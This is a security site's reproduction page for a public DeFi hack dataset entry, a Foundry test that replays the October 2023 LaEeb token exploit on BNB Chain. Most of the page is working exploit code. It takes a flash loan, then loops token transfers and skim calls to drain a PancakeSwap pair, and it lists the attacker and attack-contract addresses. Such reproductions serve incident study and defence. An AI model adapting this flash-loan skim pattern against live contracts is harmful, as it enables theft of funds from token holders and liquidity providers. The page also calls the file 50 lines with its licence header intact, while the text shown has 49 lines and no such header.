Skip to content
THREATWIRE

Public reproduction file

src/test/2023-10/LaEeb_exp.sol

Public reproduction file for dataset entry LaEeb.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/LaEeb_exp.sol49 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6// @KeyInfo -- Total Lost : ~1.8 WBNB
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x0d13a61e9dc81cfae324d3d80e49830d9bbae300f760e016a15600889a896a1b
8// Attacker : https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
9// Attack Contract : https://bscscan.com/address/0x9180981034364f683ea25bcce0cff5e03a595bef
10// GUY : https://x.com/MetaSec_xyz/status/1718964562165420076
12contract Exploit is Test {
13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15 IPancakePair Pair = IPancakePair(0x3921E8cb14e2C08DB989FDF88D01220a0C53cC91);
16 IERC20 LaEeb = IERC20(0xa2B8A15A07385EA933088c6bcBB38B84c1051a58);
17 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
18 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
20 function setUp() external {
21 cheats.createSelectFork("bsc", 33_053_187);
22 }
24 function testExploit() external {
25 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
26 DPP.flashLoan(8.6 ether, 0, address(this), abi.encode("Attack"));
27 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
28 }
30 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
31 swap_token_to_token(address(WBNB), address(LaEeb), 8.6 ether);
32 uint256 i = 0;
33 while (i < 10) {
34 LaEeb.transfer(address(Pair), 3_255_594_269_218 ether);
35 Pair.skim(address(this));
36 i++;
37 }
38 swap_token_to_token(address(LaEeb), address(WBNB), LaEeb.balanceOf(address(this)));
39 WBNB.transfer(msg.sender, baseAmount);
40 }
42 function swap_token_to_token(address a, address b, uint256 amount) internal {
43 IERC20(a).approve(address(Router), amount);
44 address[] memory path = new address[](2);
45 path[0] = address(a);
46 path[1] = address(b);
47 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
48 }

Analysis

Dataset entry

Public Foundry test for “LaEeb” (2023-10-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7cb74265e3e2d2b707122bf45aea66137c6c8891

  • Attack Contract

    0x9180981034364f683ea25bcce0cff5e03a595bef

File record

Name
LaEeb
Path
src/test/2023-10/LaEeb_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8f664fd8002e396db7c0a4b812c0570580a6f485
Language
Solidity
Size
50 lines
Date
2023-10-30
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2023-10/LaEeb_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8f664fd8002e396db7c0a4b812c0570580a6f485, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.